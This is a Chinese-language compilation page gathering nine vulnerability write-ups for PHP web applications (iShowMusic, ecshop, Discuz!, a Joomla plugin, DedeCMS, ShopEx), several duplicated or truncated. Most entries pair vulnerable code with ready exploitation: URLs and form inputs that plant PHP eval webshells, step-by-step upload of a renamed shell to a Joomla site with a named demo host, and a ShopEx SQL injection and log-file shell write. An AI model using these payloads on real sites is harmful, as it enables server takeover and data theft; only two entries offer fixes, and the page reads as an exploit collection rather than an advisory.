iShowMusic V1.2 直接写shell漏洞

时间:2024年02月15日

/

来源:winds1128

/

编辑:本站小编

收藏本文

下载本文

下面小编为大家整理了iShowMusic V1.2 直接写shell漏洞,本文共9篇,欢迎阅读与借鉴!本文原稿由网友“winds1128”提供。

篇1:iShowMusic V1.2 直接写shell漏洞

By qiur3n

www.wolvez.org/

-06-17

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序,程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。

:www.ishowsky.cn

在error.php 12-26行

复制内容到剪贴板

代码:

elseif ($_POST['action']==“save”){

$cknumon && GdConfirm($gdcode);

if(empty($id)) {

Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}

elseif(empty($_POST['user'])) {

Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}

else{

$user=safeconvert($user);

$line=“$user|$songname|$id|$errmsg|$timestamp|\\n”;

$e=“$datadir/error.php”;

writetofile($e,$line,“a+”);

Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close”); exit;

}

在global.php 27-34行

复制内容到剪贴板

代码:

foreach($_POST as $_key=>$_value){

$_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);

!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];

}

foreach($_GET as $_key=>$_value){

$_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);

!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];

}

这段代码是允许在register_globals在off的情况下工作

程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.

导致失去了这段代码本来的作用.

function writetofile($file_name, $data, $method = “w”)

{

$filenum = fopen($file_name, $method);

flock($filenum, LOCK_EX);

$file_data = fwrite($filenum, $data);

fclose($filenum);

return $file_data;

}

这个函数也没有任何过滤就把$data写进去了,呵呵

www.xxx.com/error.php?errid=1&errtitle=

然后提交一下你就能获得一个shell在

www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文

件夹改名,呵呵)

篇2:iShowMusic V1.2 直接写shell漏洞漏洞预警

By qiur3n

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序,程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。

:www.ishowsky.cn

在error.php 12-26行复制内容到剪贴板代码:

elseif ($_POST['action']==“save”){

$cknumon && GdConfirm($gdcode);

if(empty($id)) {

Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}

elseif(empty($_POST['user'])) {

Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}

else{

$user=safeconvert($user);

$line=“$user|$songname|$id|$errmsg|$timestamp|\\n”;

$e=“$datadir/error.php”;

writetofile($e,$line,“a+”);

Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close()”); exit;

}在global.php 27-34行复制内容到剪贴板代码:

foreach($_POST as $_key=>$_value){

$_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);

!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];

}

foreach($_GET as $_key=>$_value){

$_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);

!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];

}这段代码是允许在register_globals在off的情况下工作

程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.

导致失去了这段代码本来的作用.

function writetofile($file_name, $data, $method = “w”)

{

$filenum = fopen($file_name, $method);

flock($filenum, LOCK_EX);

$file_data = fwrite($filenum, $data);

fclose($filenum);

return $file_data;

}

这个函数也没有任何过滤就把$data写进去了,呵呵

hxxp://www.xxx.com/error.php?errid=1&errtitle=

然后提交一下你就能获得一个shell在

hxxp://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文

件夹改名,呵呵)

刚经群里的朋友提示,发现这段代码并没有错误复制内容到剪贴板代码:

foreach($_POST as $_key=>$_value){

$_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);

!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];

}

foreach($_GET as $_key=>$_value){

$_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);

!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];

}呵呵..虽然我在本地本地测试的时候确实没替换.

现在修改哈Ryat提供的邪恶的shellcode..嘿嘿

hxxp://www.xxx.com/error.php?errid=1&errtitle=

这样你在访问一次hxxp://www.xxx.com/data/error.php后将得到hxxp://www.xxx.com/data/wolvez.php的测试文件

内容为

篇3:ecshop v2.72 前台写shell漏洞

by:xhm1n9

这个地方很多大牛应该都知道,看到某坛子里有人差不多发现了,所以还是泄了算了~~

ecshop v2.72 前台写shell漏洞

利用方试:提交两次,第二次内容任意

篇4:iShowMusic V1.2 写入shell漏洞

前几天公布的漏洞了,这几天比较忙,今天才看到,

iShowMusic V1.2 写入shell漏洞

刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。

篇5:Discuz!7.07.2后台settings.inc.php中写shell漏洞

影响版本

Discuz!7.0-7.2
漏洞详情:if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {  $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];  if($settingsnew['uc']['connect']) {$uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);if(!$uc_dblink) {    cpmsg('uc_database_connect_error', '', 'error');} else {    mysql_close($uc_dblink);}  }  $fp = fopen('./config.inc.php', 'r');  $configfile = fread($fp, filesize('./config.inc.php'));  $configfile = trim($configfile);  $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;  fclose($fp);  $connect = '';  if($settingsnew['uc']['connect']) {require './config.inc.php';$connect = 'mysql';$samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');$configfile = insertconfig($configfile, “/define\\ ('UC_DBHOST',\\s*'.*?'\\);/i”, “define('UC_DBHOST', '”.$settingsnew['uc'] ['dbhost'].“');”);//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com$configfile = insertconfig($configfile, “/define\\('UC_DBUSER',\\s*'.*?'\\);/i”, “define('UC_DBUSER', '”.$settingsnew['uc']['dbuser'].“');”);$configfile = insertconfig($configfile, “/define\\('UC_DBPW',\\s*'.*?'\\);/i”, “define('UC_DBPW', '”.$ucdbpassnew.“');”);$configfile = insertconfig($configfile, “/define\\('UC_DBNAME',\\s*'.*?'\\);/i”, “define('UC_DBNAME', '”.$settingsnew['uc']['dbname'].“');”);$configfile = insertconfig($configfile, “/define\\('UC_DBTABLEPRE',\\s*'.*?'\\);/i”, “define('UC_DBTABLEPRE', '`”.$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre'].“');”);//$configfile = insertconfig($configfile, “/define\\('UC_LINK',\\s*'?.*?'?\\);/i”, “define('UC_LINK', ”.($samelink && $samecharset ? 'TRUE' : 'FALSE').“);”);  }  $configfile = insertconfig($configfile, “/define\\('UC_CONNECT',\\s*'.*?'\\);/i”, “define('UC_CONNECT', '$connect');”);  $configfile = insertconfig($configfile, “/define\\('UC_KEY',\\s*'.*?'\\);/i”, “define('UC_KEY', '”.$settingsnew['uc']['key'].“');”);  $configfile = insertconfig($configfile, “/define\\('UC_API',\\s*'.*?'\\);/i”, “define('UC_API', '”.$settingsnew['uc']['api'].“');”);  $configfile = insertconfig($configfile, “/define\\('UC_IP',\\s*'.*?'\\);/i”, “define('UC_IP', '”.$settingsnew['uc']['ip'].“');”);  $configfile = insertconfig($configfile, “/define\\('UC_APPID',\\s*'?.*?'?\\);/i”, “define('UC_APPID', '”.$settingsnew['uc']['appid'].“');”);  $fp = fopen('./config.inc.php', 'w');  if(!($fp = @fopen('./config.inc.php', 'w'))) {cpmsg('uc_config_write_error', '', 'error');  }  @fwrite($fp, trim($configfile));  @fclose($fp);    }settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件,

Discuz!7.07.2后台settings.inc.php中写shell漏洞

function insertconfig($s, $find, $replace) {if(preg_match($find, $s)) {$s = preg_replace($find, $replace, $s); //正则匹配替换数据} else {$s .= “\\r\\n”.$replace;}return $s;}

测试方法:程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。
临时补丁:在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:    foreach($settingsnew['uc'] as $key =>$value){    $settingsnew['uc'][$key]=str_replace(')','',$value);    }

篇6:iShowMusic V1.2 写入shell漏洞漏洞预警

前几天公布的漏洞了,这几天比较忙,今天才看到,刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。

--------

漏洞描述:

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。在error.php 12-26行

PHP代码

elseif ($_POST['action']==“save”){$cknumon && GdConfirm($gdcode);if(emptyempty($id)) {Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}elseif(emptyempty($_POST['user'])) {Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}else{$user=safeconvert($user);$line=“$user|$songname|$id|$errmsg|$timestamp|\\n”;$e=“$datadir/error.php”;writetofile($e,$line,“a+”);Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close”);  exit;}

在global.php 27-34行

PHP代码

foreach($_POST as $_key=>$_value){$_POST[$_key]=str_replace(array('|','$','..'),array('|','$','..'),$_POST[$_key]);!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_POST[$_key];}foreach($_GET as $_key=>$_value){$_GET[$_key]=str_replace(array('|','$','..'),array('|','$','..'),$_GET[$_key]);!ereg(“^\\_”,$_key) && !$$_key && $$_key=$_GET[$_key];}

这段代码是允许在register_globals在off的情况下工作程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.导致失去了这段代码本来的作用.

PHP代码

function writetofile($file_name, $data, $method = “w”){$filenum = fopen($file_name, $method);flock($filenum, LOCK_EX);$file_data = fwrite($filenum, $data);fclose($filenum);return $file_data;}

这个函数也没有任何过滤就把$data写进去了

<*参考By qiur3n

www.wolvez.org/*>

测试方法:

[www.sebug.net]

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>然后提交一下你就能获得一个shell在www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文件夹改名,呵呵)

篇7:Joomla 远程上传漏洞.直接getshell漏洞预警

作者:1337

1. 有些joomal需要先注册.

site/index.php?option=com_user&view=login

2. 到上传地址

site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en

3. 点击image后点击upload,选择shell, 将shell重名为adm1n.php.jpg格式.

4. 上传后的文件在 / images/ksadvertiser/U0 这个目录下.

site/images/ksadvertiser/U0/adm1n.php.gif

Demo: alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif

我随便测试了一下, 基本都被搞了. 疯狂的人们啊, 这今天刚出的漏洞就成这样了… 1337V5啊.

篇8:DedeCMS 5.1 直接写入马漏洞

style=“display:block;padding:0px 10px;” class=“ContentFont”>

最早见于groups.google.com/group/ph4nt0m/t/357dbcd7711f1864

经过研究发现,可以很方便的写入一个小马,前提是服务器开放会员系统,而且有图书连载里有类别。

漏洞代码如下:

include\\inc_bookfunctions.php

function WriteBookText($cid,$body)

{

global $cfg_cmspath,$cfg_basedir;

$ipath = $cfg_cmspath.“/data/textdata”;

$tpath = ceil($cid/5000);

if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);

if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);

$bookfile = $cfg_basedir.$ipath.“/{$tpath}/bk{$cid}.php”;

$body = “<”.“?php\\r\\n”.$body.“\\r\\n?”.“>”;

@$fp = fopen($bookfile,'w');

@flock($fp);

@fwrite($fp,$body);

@fclose($fp);

}

member\\story_add_content_action.php

WriteBookText($arcID,addslashes($body));

可以看到,只是用addslashes进行了转义,

但是$body = “<”.“?php\\r\\n”.$body.“\\r\\n?”.“>”;很明显可以写入一个小马的。呵呵。

利用方法

www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1

这样就在data\\textdata\\目录下生成小马。 默认为data\\textdata\\1\\bk1.php

篇9:shopex 4.8.5.45144注入和远程shell写入漏洞漏洞预警

ShopEx网上商店平台软件系统又称网店管理系统、网店程序、网上购物系统、在线购物系统,

一:shopex 4.8.5.45144 \\core\\include_v5\\shopCore.php 注入漏洞

\\core\\include_v5\\shopCore.php

01 public function shopCore( )

02 {

03               parent::kernel( );

04               if ( isset( $_POST['spgdif'] ) )

05               {

06                               $this->spgdif( );  //进入函数

07                               exit( );

08               }

09       ............................

10 }

11 public function spgdif( )

12 {

13               include_once( CORE_DIR.“/func_ext.php” );

14               if ( $_POST['session'] && $_POST['query'] && $_POST['sign'] )   //没任何过滤

15               {

16                               if ( md5( $_POST['query'].$_POST['session'].“shopex_stats” ) == $_POST['sign'] )  //MD5 验证,我们可以自己控制。

17                               {

18                                               $cert = $this->loadModel( “service/certificate” );

19                                               if ( $data = $cert->session_vaild( $_POST['session'] ) )

20                                               {

21                                                               $this->fetchdata( $_POST['query'] );

22                                               }

23                               ..........................

24 public function fetchdata( $params )

25 {

26               $params = unserialize( $params );

27               $sql = “SELECT ”;

28               foreach ( $params['fields'] as $key =>$value )

29               {

30                               $sql .= $value['method'].“(”.$value['name'].“)”;

31                               if ( $value['alias'] )

32                               {

33                                               $sql .= “ as ”.$value['alias']; //代入sql

34                               }

35                               $sql .= “,”;

36               }

37               $sql = substr( $sql, 0, -1 );

38               $sql .= “ FROM ”.$params['tbl'].“ ”;

39       ...............

40               $db = $this->database( );

41               ob_start( );

42               $data = $db->select( $sql );

43               ob_end_clean( );

44               if ( $data )

45               {

46                               echo json_encode( array(

47                                               “res” =>“succ”,

48                                               “data” =>$data  //没任何干扰,全部显示出来!(人品好了点,

49                               ) );

50               }

51               else

52               {

53                               echo json_encode( array(

54                                               “res” =>“fail”,

55                                               “data” =>$sql

56                               ) );

57               }

58 }

利用代码exp:

exploit.htm

-----

SQL Injection

Vulnerability

O(°…_°…)O…‰¡À' style=“width:150px;height:100px” />

shopex 4.8.5 SQL Injection Vulnerability 0day ”2010.06.12

By:qing

QQ:33089632

二:shopex 4.8.5.45144 \\core\\include_v5\\crontab.php 远程shell写入漏洞

\\core\\include_v5\\crontab.php (zend加密后的,我只发布解密后的代码)

01 public function run( )

02               {

03                               $this->logFile = HOME_DIR.“/logs/access.log.php”;

04                               $this->now = time( );

05                               $this->viewStat( );

06                               $messenger =& $this->loadModel( “system/messenger” );

07                               $messenger->runQueue( );

08               }

09

10               public function viewStat( )

11               {

12                               if ( !file_exists( $this->logFile ) )

13                               {

14                                               file_put_contents( $this->logFile, “#

15                               }

16                               if ( isset( $_GET['action'] ) )

17                               {

18                                               error_log( $this->now.”\\t“.$_GET['action'].”\\t“.$_GET['p'].”\\n\", 3, $this->logFile );//没有任何过滤,

利用:

直接提交:127.0.0.1/shopex/?cron=1&action=1&p=1

一句话在:127.0.0.1/shopex/home/logs/access.log.php

shell脚本学习

SHELL病毒简介

直接表白话语

Shell常用操作符总结

壳牌Shell笔试经验谈

下载iShowMusic V1.2 直接写shell漏洞(精选9篇)
iShowMusic V1.2 直接写shell漏洞.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档